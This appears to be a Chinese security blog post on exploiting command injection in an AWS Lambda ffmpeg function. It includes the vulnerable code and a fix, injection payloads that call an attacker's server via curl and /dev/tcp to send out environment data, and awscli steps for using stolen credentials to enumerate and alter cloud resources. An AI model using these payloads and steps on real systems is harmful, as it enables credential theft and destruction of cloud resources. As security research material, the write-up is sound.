漏洞

测试的时候发现AWS的Lambda里面有这样的代码,可以很明显的看出来存在命令注入:

execute_command = "ffmpeg -i " + video_url + " -y -f " + img_format + " -ss " + time_index + " -vframes 1 " + WH + " " + output_path
print(execute_command)
cp = subprocess.run(execute_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

攻击的Payload: ;curl <your vps>:<port>;,然后在自己服务器监听可以收到Lambda容器发起的请求。

修复代码:
cp = subprocess.run(["ffmpeg", "-i", video_url, "-y", "-f", img_format, "-ss", time_index, "-vframes", "1", output_path], stdout=subprocess.PIPE, stderr=subprocess.PIPE)

储备知识

  • Lambda函数代码路径: /var/task
  • 用户凭证: 存储在环境变量里面,AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
  • 文件系统: /var/task只读,/tmp可写
  • 默认用户: sbx_userxxx
  • Lambda计算的最大超时时间是15分钟,凭证过期时间是11个小时左右
  • 攻击Lambda只需要获取AK、SK、Token,反弹shell没什么意义

在存在命令执行的情况下先获取用户凭证,然后使用awscli写入本地配置文件里面,通过awscli来操作,如果在创建Lambda的权限控制不足,这个时候就可以使用awscli来操作各种资源,比如我发现的命令执行有对主账户下所有网卡的操作权限,可以使用获取到的用户凭证删除所有网卡接口。

存在另外一种情况,当获取到的凭证权限很小的时候,到处都是is not authorized to perform,可以通过以下查询来查看自己的凭证都什么权限,首先配置命令行工具:

配置aws命令行工具
aws configure --profile stolencreds
输入获取到的AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY和对应区域,编辑~/.aws/credentials,在配置文件里面增加aws_session_token,设置获取到的对应值

获取function name、role name
aws sts get-caller-identity --profile stolencreds  

ARN(Amazon Resource Name)是AWS里面唯一资源标示符号,ARN的格式取决于特定的资源,一般是这种格式:

arn:partition:service:region:account-id:resource-id
arn:partition:service:region:account-id:resource-type/resource-id
arn:partition:service:region:account-id:resource-type:resource-id
  • partition:资源所在分区
    • aws - AWS 区域
    • aws-cn - 中国区域
    • aws-us-gov - AWS GovCloud (US) 区域
  • service: 标识 AWS 产品的服务命名空间。例如,s3 表示 Amazon S3 资源。
  • region: 区域。例如,us-east-2 表示 美国东部(俄亥俄州)。
  • account-id: 拥有资源的 AWS 账户的 ID(不含连字符)。例如,123456789012。
  • resource-id: 资源标识符。ARN 的这一部分可以是资源的名称或 ID,也可以是资源路径. 例如,user/Bob表示 IAM 用户.

在Lambda里面,ARN的格式是如下这样的表示:arn:aws:sts::{AccountID}:assumed-role/{RoleName}/{FunctionName}

获取函数的权限明细
aws lambda get-policy --function-name <function name>  --output text 
获取attach的权限明细
aws iam list-attached-role-policies --role-name <role name>
获取policy name
aws iam list-role-policies --role-name <role name>
获取用户凭证的权限明细
aws iam get-role-policy --role-name <role name> --policy-name <policy name>

通过查询用户凭证的权限明细,就可以根据获取到的凭证操作AWS的资源,比如S3、EC2。这里的用户凭证权限明细不包括attach的权限

常用的查询
aws lambda list-functions --profile stolencreds
aws ssm describe-instance-information --profile stolencreds
aws s3 ls --profile stolencreds
aws lambda get-function --function-name FatVideoFrameFFmpeg --query 'Code.Location' --profile stolencreds
wget -O lambda-function.zip url-from-previous-query --profile stolencreds
aws ec2 describe-network-interfaces

疑难问题

  1. 当确定存在命令执行的时候,先使用了wget,查看cloudwatch之后发现不存在这个命令,当我使用serverleess-prey测试的时候发现curl都不存在。这时候可以使用;cat /tmp/env.txt > /dev/tcp/<vps>/<port>;来传输数据,先把需要获取到的内容写入到文件,然后外带传输。

  2. 另外一个隐患是DoW(Denial of Wallet),因为Lambda是按照函数调用次数付费的,所以如果找到一个Lambda的事件触发器,一般是一个http请求,发起大量请求消耗资源, 延伸一下腾讯在推的类似一个业务在github上有很多开源项目 :( 。AWS可以再加一层cloudfront,然后配合cloudwatch或者账单预警来完善,或者添加用户认证token。

  3. 为什么上面我没有提命令执行之后反弹shell呢?因为一反弹成功之后马上断开。最后在Lambda的配置里面发现Lambda执行的timeout是3s,lambda在建立的时候默认运行时间是3s,可以修改为最大15分钟。

  4. 还有一种攻击手法,可以修改代码运行环境,没看太懂: Gaining Persistency on Vulnerable Lambdas

参考链接

⬆︎TOP